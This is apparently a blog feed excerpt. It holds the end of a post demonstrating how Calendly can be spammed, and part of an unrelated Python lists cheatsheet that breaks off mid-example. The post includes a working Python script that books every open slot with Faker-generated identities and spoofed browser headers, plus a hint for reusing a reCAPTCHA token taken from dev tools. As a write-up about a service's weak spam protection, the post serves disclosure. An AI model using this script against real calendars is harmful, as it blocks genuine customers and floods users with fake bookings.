</span></span><span class="line"><span class="cl"><span class="n">today</span> <span class="o">=</span> <span class="n">datetime</span><span class="o">.</span><span class="n">today</span><span class="p">()</span>
</span></span><span class="line"><span class="cl"><span class="n">today_formatted</span> <span class="o">=</span> <span class="n">today</span><span class="o">.</span><span class="n">strftime</span><span class="p">(</span><span class="s2">&#34;%Y-%m-</span><span class="si">%d</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># generate the date 30 days from today for use in range later</span>
</span></span><span class="line"><span class="cl"><span class="n">one_year_from_today</span> <span class="o">=</span> <span class="n">today</span> <span class="o">+</span> <span class="n">timedelta</span><span class="p">(</span><span class="n">days</span><span class="o">=</span><span class="mi">30</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">one_year_from_today_formatted</span> <span class="o">=</span> <span class="n">one_year_from_today</span><span class="o">.</span><span class="n">strftime</span><span class="p">(</span><span class="s2">&#34;%Y-%m-</span><span class="si">%d</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># GET request to get event types</span>
</span></span><span class="line"><span class="cl"><span class="n">username</span> <span class="o">=</span> <span class="n">starting_url</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="s2">&#34;/&#34;</span><span class="p">)[</span><span class="mi">3</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">event_types_url</span> <span class="o">=</span> <span class="sa">f</span><span class="s2">&#34;https://calendly.com/api/booking/profiles/</span><span class="si">{</span><span class="n">username</span><span class="si">}</span><span class="s2">/event_types&#34;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">response</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="n">event_types_url</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">event_types</span> <span class="o">=</span> <span class="n">response</span><span class="o">.</span><span class="n">json</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># event types have the URL paths we need (i.e. /30min)</span>
</span></span><span class="line"><span class="cl"><span class="c1"># we need to get the UUID in the API call</span>
</span></span><span class="line"><span class="cl"><span class="k">for</span> <span class="n">event_type</span> <span class="ow">in</span> <span class="n">event_types</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="n">uuid</span> <span class="o">=</span> <span class="n">event_type</span><span class="p">[</span><span class="s2">&#34;uuid&#34;</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="c1"># GET request to get the dates available for the event type</span>
</span></span><span class="line"><span class="cl">    <span class="n">time_zone</span> <span class="o">=</span> <span class="s2">&#34;America/Los_Angeles&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="n">range_start</span> <span class="o">=</span> <span class="n">today_formatted</span>
</span></span><span class="line"><span class="cl">    <span class="n">range_end</span> <span class="o">=</span> <span class="n">one_year_from_today_formatted</span>
</span></span><span class="line"><span class="cl">    <span class="n">booking_dates_url</span> <span class="o">=</span> <span class="p">(</span>
</span></span><span class="line"><span class="cl">        <span class="sa">f</span><span class="s2">&#34;https://calendly.com/api/booking/event_types/</span><span class="si">{</span><span class="n">uuid</span><span class="si">}</span><span class="s2">/calendar/range&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">query_string</span> <span class="o">=</span> <span class="p">(</span>
</span></span><span class="line"><span class="cl">        <span class="sa">f</span><span class="s2">&#34;?timezone=</span><span class="si">{</span><span class="n">time_zone</span><span class="si">}</span><span class="s2">&amp;range_start=</span><span class="si">{</span><span class="n">range_start</span><span class="si">}</span><span class="s2">&amp;range_end=</span><span class="si">{</span><span class="n">range_end</span><span class="si">}</span><span class="s2">&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">booking_dates_url</span> <span class="o">+=</span> <span class="n">query_string</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">response</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="n">booking_dates_url</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">booking_dates</span> <span class="o">=</span> <span class="n">response</span><span class="o">.</span><span class="n">json</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">    <span class="n">booking_dates</span> <span class="o">=</span> <span class="n">booking_dates</span><span class="p">[</span><span class="s2">&#34;days&#34;</span><span class="p">]</span>  <span class="c1"># we only need the days</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="c1"># check if the user is available on each date</span>
</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="n">booking_date</span> <span class="ow">in</span> <span class="n">booking_dates</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="k">if</span> <span class="n">booking_date</span><span class="p">[</span><span class="s2">&#34;status&#34;</span><span class="p">]</span> <span class="o">==</span> <span class="s2">&#34;available&#34;</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">            <span class="c1"># get open spots for each available date</span>
</span></span><span class="line"><span class="cl">            <span class="n">open_spots</span> <span class="o">=</span> <span class="n">booking_date</span><span class="p">[</span><span class="s2">&#34;spots&#34;</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">            <span class="k">for</span> <span class="n">open_spot</span> <span class="ow">in</span> <span class="n">open_spots</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">                <span class="c1"># we need the starting time for each open spot</span>
</span></span><span class="line"><span class="cl">                <span class="n">start_time</span> <span class="o">=</span> <span class="n">open_spot</span><span class="p">[</span><span class="s2">&#34;start_time&#34;</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">                <span class="c1"># we use data we&#39;ve gathered to generate a payload</span>
</span></span><span class="line"><span class="cl">                <span class="n">payload</span> <span class="o">=</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">                    <span class="s2">&#34;event&#34;</span><span class="p">:</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">                        <span class="s2">&#34;start_time&#34;</span><span class="p">:</span> <span class="n">start_time</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                        <span class="s2">&#34;location_configuration&#34;</span><span class="p">:</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">                            <span class="s2">&#34;location&#34;</span><span class="p">:</span> <span class="kc">None</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                            <span class="s2">&#34;phone_number&#34;</span><span class="p">:</span> <span class="kc">None</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                            <span class="s2">&#34;additional_info&#34;</span><span class="p">:</span> <span class="kc">None</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                        <span class="p">},</span>
</span></span><span class="line"><span class="cl">                    <span class="p">},</span>
</span></span><span class="line"><span class="cl">                    <span class="s2">&#34;event_type_uuid&#34;</span><span class="p">:</span> <span class="n">uuid</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                    <span class="s2">&#34;invitee&#34;</span><span class="p">:</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">                        <span class="s2">&#34;full_name&#34;</span><span class="p">:</span> <span class="n">fake</span><span class="o">.</span><span class="n">simple_profile</span><span class="p">()[</span><span class="s2">&#34;name&#34;</span><span class="p">],</span>
</span></span><span class="line"><span class="cl">                        <span class="s2">&#34;email&#34;</span><span class="p">:</span> <span class="n">fake</span><span class="o">.</span><span class="n">simple_profile</span><span class="p">()[</span><span class="s2">&#34;mail&#34;</span><span class="p">],</span>
</span></span><span class="line"><span class="cl">                        <span class="s2">&#34;timezone&#34;</span><span class="p">:</span> <span class="n">time_zone</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                        <span class="s2">&#34;time_notation&#34;</span><span class="p">:</span> <span class="s2">&#34;12h&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                    <span class="p">},</span>
</span></span><span class="line"><span class="cl">                <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">                <span class="n">headers</span> <span class="o">=</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">                    <span class="s2">&#34;Host&#34;</span><span class="p">:</span> <span class="s2">&#34;calendly.com&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                    <span class="s2">&#34;User-Agent&#34;</span><span class="p">:</span> <span class="n">fake</span><span class="o">.</span><span class="n">chrome</span><span class="p">(),</span>
</span></span><span class="line"><span class="cl">                    <span class="s2">&#34;Accept&#34;</span><span class="p">:</span> <span class="s2">&#34;application/json, text/plain, */*&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                    <span class="s2">&#34;Accept-Language&#34;</span><span class="p">:</span> <span class="s2">&#34;en-US,en;q=0.5&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                    <span class="s2">&#34;Accept-Encoding&#34;</span><span class="p">:</span> <span class="s2">&#34;gzip, deflate, br&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                    <span class="s2">&#34;Referer&#34;</span><span class="p">:</span> <span class="n">starting_url</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                    <span class="s2">&#34;X-Requested-With&#34;</span><span class="p">:</span> <span class="s2">&#34;XMLHttpRequest&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                    <span class="s2">&#34;Content-Type&#34;</span><span class="p">:</span> <span class="s2">&#34;application/json&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                    <span class="s2">&#34;Content-Length&#34;</span><span class="p">:</span> <span class="s2">&#34;3924&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                    <span class="s2">&#34;Origin&#34;</span><span class="p">:</span> <span class="s2">&#34;https://calendly.com&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                    <span class="s2">&#34;DNT&#34;</span><span class="p">:</span> <span class="s2">&#34;1&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                    <span class="s2">&#34;Sec-GPC&#34;</span><span class="p">:</span> <span class="s2">&#34;1&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                    <span class="s2">&#34;Connection&#34;</span><span class="p">:</span> <span class="s2">&#34;keep-alive&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                    <span class="s2">&#34;Sec-Fetch-Dest&#34;</span><span class="p">:</span> <span class="s2">&#34;empty&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                    <span class="s2">&#34;Sec-Fetch-Mode&#34;</span><span class="p">:</span> <span class="s2">&#34;cors&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                    <span class="s2">&#34;Sec-Fetch-Site&#34;</span><span class="p">:</span> <span class="s2">&#34;same-origin&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                    <span class="s2">&#34;Pragma&#34;</span><span class="p">:</span> <span class="s2">&#34;no-cache&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                    <span class="s2">&#34;Cache-Control&#34;</span><span class="p">:</span> <span class="s2">&#34;no-cache&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                    <span class="s2">&#34;TE&#34;</span><span class="p">:</span> <span class="s2">&#34;trailers&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">                <span class="c1"># finally, send a POST request with our payload to schedule an appointment</span>
</span></span><span class="line"><span class="cl">                <span class="n">response</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">post</span><span class="p">(</span><span class="n">scheduling_url</span><span class="p">,</span> <span class="n">json</span><span class="o">=</span><span class="n">payload</span><span class="p">,</span> <span class="n">headers</span><span class="o">=</span><span class="n">headers</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">                <span class="k">if</span> <span class="n">response</span><span class="o">.</span><span class="n">status_code</span> <span class="o">!=</span> <span class="mi">200</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">                    <span class="c1"># for debugging</span>
</span></span><span class="line"><span class="cl">                    <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;Status Code: </span><span class="si">{</span><span class="n">response</span><span class="o">.</span><span class="n">status_code</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">                    <span class="nb">print</span><span class="p">(</span><span class="n">response</span><span class="o">.</span><span class="n">json</span><span class="p">())</span>
</span></span><span class="line"><span class="cl">                    <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;Payload sent: </span><span class="si">{</span><span class="n">payload</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">                <span class="k">else</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">                    <span class="nb">print</span><span class="p">(</span><span class="s2">&#34;Successful request.&#34;</span><span class="p">)</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>I ran the script for a bit to create appointments. Soon after I started getting emails about appointments being made:</p>
<img src="/calendly-spam/mailbox.webp" alt="Gmail inbox showing an influx of Calendly appointments" width="720" height="422" style="max-width: 100%; height: auto; aspect-ratio: 2706 / 1588;" loading="lazy" decoding="async">
<p>And for further confirmation I also refreshed my Calendly calendar and saw that there were a couple days that are no longer available (May 16 and May 17):</p>
<img src="/calendly-spam/dates-available-aftermath.webp" alt="Remaining dates available for scheduling" width="720" height="422" style="max-width: 100%; height: auto; aspect-ratio: 2706 / 1588;" loading="lazy" decoding="async">
<p>This was much easier than expected. I didn&rsquo;t even let my script run indefinitely.</p>
<h2 id="there-are-some-security-measures">There are Some Security Measures</h2>
<p>After (presumably) sending too many requests I started getting a <code>400</code> status code in the response along with a message:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-json" data-lang="json"><span class="line"><span class="cl"><span class="p">{</span><span class="err">&#39;message&#39;:</span> <span class="err">&#39;recaptcha_challenge_required&#39;</span><span class="p">}</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>It looks like there are <em>some</em> anti-spam measures in place.</p>
<p>Looking back at the original payload when making a <code>POST</code> request I see that there&rsquo;s a <code>recaptcha_token</code> in the JSON payload. I believe this is only created in the browser when it&rsquo;s evident that a real person is using Calendly. I don&rsquo;t know if there&rsquo;s a way to automate this in a script.</p>
<p>Either way, someone could manually schedule an appointment, check the browser dev tools to retrieve the token, copy and paste the token into a script, and spam someone&rsquo;s calendar. I didn&rsquo;t bother trying myself though because I&rsquo;ve already determined that Calendly is trivial to abuse even without the <code>recaptcha_token</code>.</p>
<h2 id="conclusion">Conclusion</h2>
<p>Calendly is susceptible to spam.</p>
<p>I can think of a few scenarios where this could do some damage:</p>
<ul>
<li>If you&rsquo;re a salesperson, something like this would fill up your calendar and prevent potential customers from booking time with you.</li>
<li>If you provide support to customers via Calendly, your calendar would also fill up, preventing actual customers from seeking support.</li>
<li>If you get spammed, you may take the time to delete appointments and you might accidentally delete some legitimate appointments with real people.</li>
</ul>
<p>There&rsquo;s probably a lot more scenarios.</p>
<h2 id="further-reading">Further Reading</h2>
<p>After writing this post I noticed someone else already had the same idea. I hesitated to link this because it&rsquo;s essentially an advertisement for this company&rsquo;s product but the article is still somewhat interesting (I have no association with this company). I also think their title is better than mine:</p>
<ul>
<li>

<a href="https://www.ipm-corporation.com/research/distributed-denial-of-scheduling-on-calendly" target="_blank" rel="noopener">https://www.ipm-corporation.com/research/distributed-denial-of-scheduling-on-calendly</a></li>
</ul>
<p>I also noticed that there are Calendly API docs. These would have come in handy earlier but I only found out after I was done. That&rsquo;s fine though, the process of figuring it all out by inspecting browser requests was fun:</p>
<ul>
<li>

<a href="https://developer.calendly.com/api-docs/" target="_blank" rel="noopener">https://developer.calendly.com/api-docs/</a></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>Python Lists Cheatsheet</title>
      <link>https://nelson.cloud/python-lists-cheatsheet/?ref=rss</link>
      <pubDate>Mon, 29 Apr 2024 00:00:00 +0000</pubDate>
      <guid>https://nelson.cloud/python-lists-cheatsheet/?ref=rss</guid>
      <description>A Python lists cheatsheet for coding interviews.</description><content:encoded><![CDATA[<p>This is yet another cheatsheet I made for myself when studying for 

<a href="https://leetcode.com/" target="_blank" rel="noopener">Leetcode</a> and 

<a href="https://www.hackerrank.com/" target="_blank" rel="noopener">Hackerrank</a> kinds of interviews. It&rsquo;s organized in a way that makes sense to me.</p>
<p>I previously made a 

<a href="https://nelson.cloud/ruby-arrays-cheatsheet/">Ruby Arrays Cheatsheet</a> you can check out.</p>
<p>All examples were tested using the Python 3.12.12 

<a href="https://www.pythonmorsels.com/using-the-python-repl/" target="_blank" rel="noopener">REPL</a>.</p>
<h2 id="initializing-a-list">Initializing a List</h2>
<h3 id="empty-list">Empty List</h3>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">my_list</span> <span class="o">=</span> <span class="p">[]</span>
</span></span></code></pre></td></tr></table>
</blockquote><h3 id="list-with-elements">List with Elements</h3>
<p>Initializing a list of integers:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">my_list</span> <span class="o">=</span> <span class="p">[</span><span class="mi">1</span><span class="p">,</span> <span class="mi">2</span><span class="p">,</span> <span class="mi">3</span><span class="p">,</span> <span class="mi">4</span><span class="p">,</span> <span class="mi">5</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">my_list</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="c1"># [1, 2, 3, 4, 5]</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>Initializing a list of strings:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">my_list</span> <span class="o">=</span> <span class="p">[</span><span class="s2">&#34;A&#34;</span><span class="p">,</span> <span class="s2">&#34;B&#34;</span><span class="p">,</span> <span class="s2">&#34;C&#34;</span><span class="p">]</span>
</span></span><span class="line"><span class="cl"><span class="c1"># [&#39;A&#39;, &#39;B&#39;, &#39;C&#39;]</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>You can mix different types of elements:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">my_list</span> <span class="o">=</span> <span class="p">[</span><span class="mi">1</span><span class="p">,</span> <span class="s2">&#34;A&#34;</span><span class="p">,</span> <span class="p">[</span><span class="mi">2</span><span class="p">,</span> <span class="mi">3</span><span class="p">],</span> <span class="p">{</span><span class="s2">&#34;my_key&#34;</span><span class="p">:</span> <span class="s2">&#34;my_value&#34;</span><span class="p">}]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">my_list</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="c1"># [1, &#39;A&#39;, [2, 3], {&#39;my_key&#39;: &#39;my_value&#39;}]</span>
</span></span></code></pre></td></tr></table>
</blockquote><h2 id="adding-elements">Adding Elements</h2>
<h3 id="at-the-beginning-of-a-list">At the Beginning of a List</h3>
<p>We can also use <code>insert()</code> to add elements to the beginning of a list by specifying index 0:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">my_list</span> <span class="o">=</span> <span class="p">[</span><span class="mi">1</span><span class="p">,</span> <span class="mi">2</span><span class="p">,</span> <span class="mi">3</span><span class="p">]</span>
</span></span><span class="line"><span class="cl"><span class="n">my_list</span><span class="o">.</span><span class="n">insert</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="mi">4</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">my_list</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="c1"># [4, 1, 2, 3]</span>
</span></span></code></pre></td></tr></table>
</blockquote><h3 id="at-the-end-of-a-list">At the End of a List</h3>
<p>Use <code>append()</code> to add an element to the end of a list:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">my_list</span> <span class="o">=</span> <span class="p">[</span><span class="mi">1</span><span class="p">,</span> <span class="mi">2</span><span class="p">,</span> <span class="mi">3</span><span class="p">]</span>
</span></span><span class="line"><span class="cl"><span class="n">my_list</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="mi">4</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">my_list</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="c1"># [1, 2, 3, 4]</span>
</span></span></code></pre></td></tr></table>
</blockquote><h3 id="at-a-specific-index">At a Specific Index</h3>
<p>Use <code>insert()</code> and specify the index and element to add:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">my_list</span> <span class="o">=</span> <span class="p">[</span><span class="s2">&#34;A&#34;</span><span class="p">,</span> <span class="s2">&#34;B&#34;</span><span class="p">,</span> <span class="s2">&#34;C&#34;</span><span class="p">]</span>
</span></span><span class="line"><span class="cl"><span class="n">my_list</span><span class="o">.</span><span class="n">insert</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="s2">&#34;D&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">my_list</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="c1"># [&#39;A&#39;, &#39;D&#39;, &#39;B&#39;, &#39;C&#39;]</span>
</span></span></code></pre></td></tr></table>
</blockquote><h2 id="removing-elements">Removing Elements</h2>
<h3 id="at-the-beginning-of-a-list-1">At the Beginning of a List</h3>
<p>We can use <code>del()</code> and specify index 0. This modifies the list in-place:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">my_list</span> <span class="o">=</span> <span class="p">[</span><span class="mi">1</span><span class="p">,</span> <span class="mi">2</span><span class="p">,</span> <span class="mi">3</span><span class="p">,</span> <span class="mi">4</span><span class="p">]</span>
</span></span><span class="line"><span class="cl"><span class="k">del</span><span class="p">(</span><span class="n">my_list</span><span class="p">[</span><span class="mi">0</span><span class="p">])</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">my_list</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="c1"># [2, 3, 4]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">del</span> <span class="n">my_list</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">my_list</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="c1"># [3, 4]</span>
</span></span></code></pre></td></tr></table>
</blockquote><h3 id="at-the-end-of-a-list-1">At the End of a List</h3>
<p>We can use <code>pop()</code>. Modifies list in-place:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">my_list</span> <span class="o">=</span> <span class="p">[</span><span class="mi">1</span><span class="p">,</span> <span class="mi">2</span><span class="p">,</span> <span class="mi">3</span><span class="p">]</span>
</span></span><span class="line"><span class="cl"><span class="n">my_list</span><span class="o">.</span><span class="n">pop</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">my_list</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="c1"># [1, 2]</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>We can also use <code>del()</code> and specify the last index, which should be <code>len(list) - 1</code>, but using <code>pop()</code> is a bit cleaner in my opinion.</p>
<h3 id="at-a-specific-index-1">At a Specific Index</h3>
<p>Similar to removing an element from the beginning of the list, except we pass in a different index aside from 0:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">my_list</span> <span class="o">=</span> <span class="p">[</span><span class="s1">&#39;A&#39;</span><span class="p">,</span> <span class="s1">&#39;B&#39;</span><span class="p">,</span> <span class="s1">&#39;C&#39;</span><span class="p">,</span> <span class="s1">&#39;D&#39;</span><span class="p">]</span>
</span></span><span class="line"><span class="cl"><span class="k">del</span><span class="p">(</span><span class="n">my_list</span><span class="p">[</span><span class="mi">2</span><span class="p">])</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">my_list</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="c1"># [&#39;A&#39;, &#39;B&#39;, &#39;D&#39;]</span>
</span></span></code></pre></td></tr></table>
</blockquote><h2 id="retrieving-elements">Retrieving Elements</h2>
<h3 id="the-first-element">The First Element</h3>
<p>There&rsquo;s no built-in Python method to get the first element as far as I know, just specify index 0 like in most programming languages:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">my_list</span> <span class="o">=</span> <span class="p">[</span><span class="s1">&#39;A&#39;</span><span class="p">,</span> <span class="s1">&#39;B&#39;</span><span class="p">,</span> <span class="s1">&#39;C&#39;</span><span class="p">,</span> <span class="s1">&#39;D&#39;</span><span class="p">]</span>
</span></span><span class="line"><span class="cl"><span class="n">char</span> <span class="o">=</span> <span class="n">my_list</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">char</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="c1"># &#39;A&#39;</span>
</span></span></code></pre></td></tr></table>
</blockquote><h3 id="the-last-element">The Last Element</h3>
<p>Use index -1 to get the last element of a list. Negative indices start at the end of the list.</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span></code></pre></td>
<td class="lntd">
